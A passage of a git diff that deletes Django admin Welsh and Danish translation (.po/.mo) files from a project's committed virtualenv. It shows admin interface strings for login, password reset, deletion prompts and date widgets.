gweithredu arnynt. Ni ddewiswyd unrhyw eitemau." - -msgid "No action selected." -msgstr "Ni ddewiswyd gweithred." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "Dilëwyd %(name)s \"%(obj)s\" yn llwyddiannus." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Ychwanegu %s" - -#, python-format -msgid "Change %s" -msgstr "Newid %s" - -msgid "Database error" -msgstr "Gwall cronfa ddata" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Newidwyd %(count)s %(name)s yn llwyddiannus" -msgstr[1] "Newidwyd %(count)s %(name)s yn llwyddiannus" -msgstr[2] "Newidwyd %(count)s %(name)s yn llwyddiannus" -msgstr[3] "Newidwyd %(count)s %(name)s yn llwyddiannus" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Dewiswyd %(total_count)s" -msgstr[1] "Dewiswyd %(total_count)s" -msgstr[2] "Dewiswyd %(total_count)s" -msgstr[3] "Dewiswyd %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Dewiswyd 0 o %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Hanes newid: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Byddai dileu %(class_name)s %(instance)s yn golygu dileu'r gwrthrychau " -"gwarchodedig canlynol sy'n perthyn: %(related_objects)s" - -msgid "Django site admin" -msgstr "Adran weinyddol safle Django" - -msgid "Django administration" -msgstr "Gweinyddu Django" - -msgid "Site administration" -msgstr "Gweinyddu'r safle" - -msgid "Log in" -msgstr "Mewngofnodi" - -#, python-format -msgid "%(app)s administration" -msgstr "Gweinyddu %(app)s" - -msgid "Page not found" -msgstr "Ni ddarganfyddwyd y dudalen" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Mae'n ddrwg gennym, ond ni ddarganfuwyd y dudalen" - -msgid "Home" -msgstr "Hafan" - -msgid "Server error" -msgstr "Gwall gweinydd" - -msgid "Server error (500)" -msgstr "Gwall gweinydd (500)" - -msgid "Server Error (500)" -msgstr "Gwall Gweinydd (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Mae gwall ac gyrrwyd adroddiad ohono i weinyddwyr y wefan drwy ebost a dylai " -"gael ei drwsio yn fuan. Diolch am fod yn amyneddgar." - -msgid "Run the selected action" -msgstr "Rhedeg y weithred a ddewiswyd" - -msgid "Go" -msgstr "Ffwrdd â ni" - -msgid "Click here to select the objects across all pages" -msgstr "" -"Cliciwch fan hyn i ddewis yr holl wrthrychau ar draws yr holl dudalennau" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Dewis y %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Clirio'r dewis" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Yn gyntaf, rhowch enw defnyddiwr a chyfrinair. Yna byddwch yn gallu golygu " -"mwy o ddewisiadau." - -msgid "Enter a username and password." -msgstr "Rhowch enw defnyddiwr a chyfrinair." - -msgid "Change password" -msgstr "Newid cyfrinair" - -msgid "Please correct the error below." -msgstr "Cywirwch y gwall isod." - -msgid "Please correct the errors below." -msgstr "Cywirwch y gwallau isod." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Rhowch gyfrinair newydd i'r defnyddiwr %(username)s." - -msgid "Welcome," -msgstr "Croeso," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Dogfennaeth" - -msgid "Log out" -msgstr "Allgofnodi" - -#, python-format -msgid "Add %(name)s" -msgstr "Ychwanegu %(name)s" - -msgid "History" -msgstr "Hanes" - -msgid "View on site" -msgstr "Gweld ar y safle" - -msgid "Filter" -msgstr "Hidl" - -msgid "Remove from sorting" -msgstr "Gwaredu o'r didoli" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Blaenoriaeth didoli: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toglio didoli" - -msgid "Delete" -msgstr "Dileu" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Byddai dileu %(object_name)s '%(escaped_object)s' yn golygu dileu'r " -"gwrthrychau sy'n perthyn, ond nid oes ganddoch ganiatâd i ddileu y mathau " -"canlynol o wrthrychau:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Byddai dileu %(object_name)s '%(escaped_object)s' yn golygu dileu'r " -"gwrthrychau gwarchodedig canlynol sy'n perthyn:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Ydw, rwy'n sicr" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Byddai dileu %(objects_name)s yn golygu dileu'r gwrthrychau gwarchodedig " -"canlynol sy'n perthyn:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ydych yn sicr eich bod am ddileu'r %(objects_name)s a ddewiswyd? Dilëir yr " -"holl wrthrychau canlynol a'u heitemau perthnasol:" - -msgid "Change" -msgstr "Newid" - -msgid "Delete?" -msgstr "Dileu?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Wrth %(filter_title)s" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelau yn y rhaglen %(name)s " - -msgid "Add" -msgstr "Ychwanegu" - -msgid "You don't have permission to edit anything." -msgstr "Does gennych ddim hawl i olygu unrhywbeth." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Dim ar gael" - -msgid "Unknown content" -msgstr "Cynnwys anhysbys" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Mae rhywbeth o'i le ar osodiad y gronfa ddata. Sicrhewch fod y tablau " -"cronfa ddata priodol wedi eu creu, a sicrhewch fod y gronfa ddata yn " -"ddarllenadwy gan y defnyddiwr priodol." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Anghofioch eich cyfrinair neu enw defnyddiwr?" - -msgid "Date/time" -msgstr "Dyddiad/amser" - -msgid "User" -msgstr "Defnyddiwr" - -msgid "Action" -msgstr "Gweithred" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Does dim hanes newid gan y gwrthrych yma. Mae'n debyg nad ei ychwanegwyd " -"drwy'r safle gweinydd yma." - -msgid "Show all" -msgstr "Dangos pob canlyniad" - -msgid "Save" -msgstr "Cadw" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Chwilio" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s canlyniad" -msgstr[1] "%(counter)s canlyniad" -msgstr[2] "%(counter)s canlyniad" -msgstr[3] "%(counter)s canlyniad" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Cyfanswm o %(full_result_count)s" - -msgid "Save as new" -msgstr "Cadw fel newydd" - -msgid "Save and add another" -msgstr "Cadw ac ychwanegu un arall" - -msgid "Save and continue editing" -msgstr "Cadw a pharhau i olygu" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Diolch am dreulio amser o ansawdd gyda'r safle we yma heddiw." - -msgid "Log in again" -msgstr "Mewngofnodi eto" - -msgid "Password change" -msgstr "Newid cyfrinair" - -msgid "Your password was changed." -msgstr "Newidwyd eich cyfrinair." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Rhowch eich hen gyfrinair, er mwyn diogelwch, ac yna rhowch eich cyfrinair " -"newydd ddwywaith er mwyn gwirio y'i teipiwyd yn gywir." - -msgid "Change my password" -msgstr "Newid fy nghyfrinair" - -msgid "Password reset" -msgstr "Ailosod cyfrinair" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Mae'ch cyfrinair wedi ei osod. Gallwch fewngofnodi nawr." - -msgid "Password reset confirmation" -msgstr "Cadarnhad ailosod cyfrinair" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Rhowch eich cyfrinair newydd ddwywaith er mwyn gwirio y'i teipiwyd yn gywir." - -msgid "New password:" -msgstr "Cyfrinair newydd:" - -msgid "Confirm password:" -msgstr "Cadarnhewch y cyfrinair:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Roedd y ddolen i ailosod y cyfrinair yn annilys, o bosib oherwydd ei fod " -"wedi ei ddefnyddio'n barod. Gofynnwch i ailosod y cyfrinair eto." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Os na dderbyniwch ebost, sicrhewych y rhoddwyd y cyfeiriad sydd wedi ei " -"gofrestru gyda ni, ac edrychwch yn eich ffolder sbam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Derbyniwch yr ebost hwn oherwydd i chi ofyn i ailosod y cyfrinair i'ch " -"cyfrif yn %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Ewch i'r dudalen olynol a dewsiwch gyfrinair newydd:" - -msgid "Your username, in case you've forgotten:" -msgstr "Eich enw defnyddiwr, rhag ofn eich bod wedi anghofio:" - -msgid "Thanks for using our site!" -msgstr "Diolch am ddefnyddio ein safle!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Tîm %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Anghofioch eich cyfrinair? Rhowch eich cyfeiriad ebost isod ac fe ebostiwn " -"gyfarwyddiadau ar osod un newydd." - -msgid "Email address:" -msgstr "Cyfeiriad ebost:" - -msgid "Reset my password" -msgstr "Ailosod fy nghyfrinair" - -msgid "All dates" -msgstr "Holl ddyddiadau" - -#, python-format -msgid "Select %s" -msgstr "Dewis %s" - -#, python-format -msgid "Select %s to change" -msgstr "Dewis %s i newid" - -msgid "Date:" -msgstr "Dyddiad:" - -msgid "Time:" -msgstr "Amser:" - -msgid "Lookup" -msgstr "Archwilio" - -msgid "Currently:" -msgstr "Cyfredol:" - -msgid "Change:" -msgstr "Newid:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.mo deleted file mode 100644 index ee9a9ca2..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.po deleted file mode 100644 index fa7ad2ac..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,222 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Maredudd ap Gwyndaf , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-23 18:54+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Welsh (http://www.transifex.com/django/django/language/cy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cy\n" -"Plural-Forms: nplurals=4; plural=(n==1) ? 0 : (n==2) ? 1 : (n != 8 && n != " -"11) ? 2 : 3;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s sydd ar gael" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Dyma restr o'r %s sydd ar gael. Gellir dewis rhai drwyeu dewis yn y blwch " -"isod ac yna clicio'r saeth \"Dewis\" rhwng y ddau flwch." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Teipiwch yn y blwch i hidlo'r rhestr o %s sydd ar gael." - -msgid "Filter" -msgstr "Hidl" - -msgid "Choose all" -msgstr "Dewis y cyfan" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Cliciwch i ddewis pob %s yr un pryd." - -msgid "Choose" -msgstr "Dewis" - -msgid "Remove" -msgstr "Gwaredu" - -#, javascript-format -msgid "Chosen %s" -msgstr "Y %s a ddewiswyd" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Dyma restr o'r %s a ddewiswyd. Gellir gwaredu rhai drwy eu dewis yn y blwch " -"isod ac yna clicio'r saeth \"Gwaredu\" rhwng y ddau flwch." - -msgid "Remove all" -msgstr "Gwaredu'r cyfan" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Cliciwch i waredu pob %s sydd wedi ei ddewis yr un pryd." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Dewiswyd %(sel)s o %(cnt)s" -msgstr[1] "Dewiswyd %(sel)s o %(cnt)s" -msgstr[2] "Dewiswyd %(sel)s o %(cnt)s" -msgstr[3] "Dewiswyd %(sel)s o %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Mae ganddoch newidiadau heb eu cadw mewn meysydd golygadwy. Os rhedwch y " -"weithred fe gollwch y newidiadau." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Rydych wedi dewis gweithred ond nid ydych wedi newid eich newidiadau i rai " -"meysydd eto. Cliciwch 'Iawn' i gadw. Bydd rhaid i chi ail-redeg y weithred." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Rydych wedi dewis gweithred ac nid ydych wedi newid unrhyw faes. Rydych " -"siwr o fod yn edrych am y botwm 'Ewch' yn lle'r botwm 'Cadw'." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Noder: Rydych %s awr o flaen amser y gweinydd." -msgstr[1] "Noder: Rydych %s awr o flaen amser y gweinydd." -msgstr[2] "Noder: Rydych %s awr o flaen amser y gweinydd." -msgstr[3] "Noder: Rydych %s awr o flaen amser y gweinydd." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Noder: Rydych %s awr tu ôl amser y gweinydd." -msgstr[1] "Noder: Rydych %s awr tu ôl amser y gweinydd." -msgstr[2] "Noder: Rydych %s awr tu ôl amser y gweinydd." -msgstr[3] "Noder: Rydych %s awr tu ôl amser y gweinydd." - -msgid "Now" -msgstr "Nawr" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Dewiswch amser" - -msgid "Midnight" -msgstr "Canol nos" - -msgid "6 a.m." -msgstr "6 y.b." - -msgid "Noon" -msgstr "Canol dydd" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Diddymu" - -msgid "Today" -msgstr "Heddiw" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Ddoe" - -msgid "Tomorrow" -msgstr "Fory" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Dangos" - -msgid "Hide" -msgstr "Cuddio" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.mo deleted file mode 100644 index 870a0785..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.po deleted file mode 100644 index b6809315..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/da/LC_MESSAGES/django.po +++ /dev/null @@ -1,791 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Christian Joergensen , 2012 -# Dimitris Glezos , 2012 -# Erik Ramsgaard Wognsen , 2020-2025 -# Erik Ramsgaard Wognsen , 2013,2015-2020 -# Finn Gruwier Larsen, 2011 -# Jannis Leidel , 2011 -# valberg , 2014-2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Erik Ramsgaard Wognsen , 2020-2025\n" -"Language-Team: Danish (http://app.transifex.com/django/django/language/da/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: da\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Slet valgte %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s blev slettet." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kan ikke slette %(name)s " - -msgid "Delete multiple objects" -msgstr "Slet flere objekter" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "Alle" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nej" - -msgid "Unknown" -msgstr "Ukendt" - -msgid "Any date" -msgstr "Når som helst" - -msgid "Today" -msgstr "I dag" - -msgid "Past 7 days" -msgstr "De sidste 7 dage" - -msgid "This month" -msgstr "Denne måned" - -msgid "This year" -msgstr "Dette år" - -msgid "No date" -msgstr "Ingen dato" - -msgid "Has date" -msgstr "Har dato" - -msgid "Empty" -msgstr "Tom" - -msgid "Not empty" -msgstr "Ikke tom" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Indtast venligst det korrekte %(username)s og adgangskode for en " -"personalekonto. Bemærk at begge felter kan være versalfølsomme." - -msgid "Action:" -msgstr "Handling" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Tilføj endnu en %(verbose_name)s" - -msgid "Remove" -msgstr "Fjern" - -msgid "Addition" -msgstr "Tilføjelse" - -msgid "Change" -msgstr "Ret" - -msgid "Deletion" -msgstr "Sletning" - -msgid "action time" -msgstr "handlingstid" - -msgid "user" -msgstr "bruger" - -msgid "content type" -msgstr "indholdstype" - -msgid "object id" -msgstr "objekt-ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekt repr" - -msgid "action flag" -msgstr "handlingsflag" - -msgid "change message" -msgstr "ændringsmeddelelse" - -msgid "log entry" -msgstr "logmeddelelse" - -msgid "log entries" -msgstr "logmeddelelser" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Tilføjede “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Ændrede “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Slettede “%(object)s”." - -msgid "LogEntry Object" -msgstr "LogEntry-objekt" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Tilføjede {name} “{object}”." - -msgid "Added." -msgstr "Tilføjet." - -msgid "and" -msgstr "og" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Ændrede {fields} for {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Ændrede {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Slettede {name} “{object}”." - -msgid "No fields changed." -msgstr "Ingen felter ændret." - -msgid "None" -msgstr "Ingen" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Hold “Ctrl”, eller “Æbletasten” på Mac, nede for at vælge mere end én." - -msgid "Select this object for an action - {}" -msgstr "Vælg dette objekt for en handling - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” blev tilføjet." - -msgid "You may edit it again below." -msgstr "Du kan redigere den/det igen herunder." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” blev tilføjet. Du kan tilføje endnu en/et {name} herunder." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” blev ændret. Du kan redigere den/det igen herunder." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” blev ændret. Du kan tilføje endnu en/et {name} herunder." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” blev ændret." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Der skal være valgt nogle emner for at man kan udføre handlinger på dem. " -"Ingen emner er blev ændret." - -msgid "No action selected." -msgstr "Ingen handling valgt." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” blev slettet." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s med ID “%(key)s” findes ikke. Måske er objektet blevet slettet?" - -#, python-format -msgid "Add %s" -msgstr "Tilføj %s" - -#, python-format -msgid "Change %s" -msgstr "Ret %s" - -#, python-format -msgid "View %s" -msgstr "Vis %s" - -msgid "Database error" -msgstr "Databasefejl" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s blev ændret." -msgstr[1] "%(count)s %(name)s blev ændret." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s valgt" -msgstr[1] "Alle %(total_count)s valgt" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 af %(cnt)s valgt" - -msgid "Delete" -msgstr "Slet" - -#, python-format -msgid "Change history: %s" -msgstr "Ændringshistorik: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Sletning af %(class_name)s %(instance)s vil kræve sletning af følgende " -"beskyttede relaterede objekter: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django website-administration" - -msgid "Django administration" -msgstr "Django administration" - -msgid "Site administration" -msgstr "Website-administration" - -msgid "Log in" -msgstr "Log ind" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administration" - -msgid "Page not found" -msgstr "Siden blev ikke fundet" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Vi beklager, men den ønskede side kunne ikke findes" - -msgid "Home" -msgstr "Hjem" - -msgid "Server error" -msgstr "Serverfejl" - -msgid "Server error (500)" -msgstr "Serverfejl (500)" - -msgid "Server Error (500)" -msgstr "Serverfejl (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Der opstod en fejl. Fejlen er rapporteret til website-administratoren via e-" -"mail, og vil blive rettet hurtigst muligt. Tak for din tålmodighed." - -msgid "Run the selected action" -msgstr "Udfør den valgte handling" - -msgid "Go" -msgstr "Udfør" - -msgid "Click here to select the objects across all pages" -msgstr "Klik her for at vælge objekter på tværs af alle sider" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Vælg alle %(total_count)s %(module_name)s " - -msgid "Clear selection" -msgstr "Ryd valg" - -msgid "Breadcrumbs" -msgstr "Sti" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeller i applikationen %(name)s" - -msgid "Model name" -msgstr "Modelnavn" - -msgid "Add link" -msgstr "Tilføj link" - -msgid "Change or view list link" -msgstr "Ret eller vis liste-link" - -msgid "Add" -msgstr "Tilføj" - -msgid "View" -msgstr "Vis" - -msgid "You don’t have permission to view or edit anything." -msgstr "Du har ikke rettigheder til at se eller redigere noget." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Efter du har oprettet en bruger får du yderligere redigeringsmuligheder." - -msgid "Error:" -msgstr "Fejl:" - -msgid "Change password" -msgstr "Skift adgangskode" - -msgid "Set password" -msgstr "Sæt adgangskode" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Ret venligst fejlen herunder." -msgstr[1] "Ret venligst fejlene herunder." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Indtast en ny adgangskode for brugeren %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Denne handling vil aktivere adgangskodebaseret " -"autentificering for denne bruger." - -msgid "Disable password-based authentication" -msgstr "Deaktivér adgangskodebaseret autentificering." - -msgid "Enable password-based authentication" -msgstr "Aktivér adgangskodebaseret autentificering." - -msgid "Skip to main content" -msgstr "Gå til hovedindhold" - -msgid "Welcome," -msgstr "Velkommen," - -msgid "View site" -msgstr "Se side" - -msgid "Documentation" -msgstr "Dokumentation" - -msgid "Log out" -msgstr "Log ud" - -#, python-format -msgid "Add %(name)s" -msgstr "Tilføj %(name)s" - -msgid "History" -msgstr "Historik" - -msgid "View on site" -msgstr "Se på website" - -msgid "Filter" -msgstr "Filtrer" - -msgid "Hide counts" -msgstr "Skjul antal" - -msgid "Show counts" -msgstr "Vis antal" - -msgid "Clear all filters" -msgstr "Nulstil alle filtre" - -msgid "Remove from sorting" -msgstr "Fjern fra sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteringsprioritet: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Skift sortering" - -msgid "Toggle theme (current theme: auto)" -msgstr "Skift tema (nuværende tema: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Skift tema (nuværende tema: lyst)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Skift tema (nuværende tema: mørkt)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Hvis du sletter %(object_name)s '%(escaped_object)s', vil du også slette " -"relaterede objekter, men din konto har ikke rettigheder til at slette " -"følgende objekttyper:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Sletning af %(object_name)s ' %(escaped_object)s ' vil kræve sletning af " -"følgende beskyttede relaterede objekter:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Er du sikker på du vil slette %(object_name)s \"%(escaped_object)s\"? Alle " -"de følgende relaterede objekter vil blive slettet:" - -msgid "Objects" -msgstr "Objekter" - -msgid "Yes, I’m sure" -msgstr "Ja, jeg er sikker" - -msgid "No, take me back" -msgstr "Nej, tag mig tilbage" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" 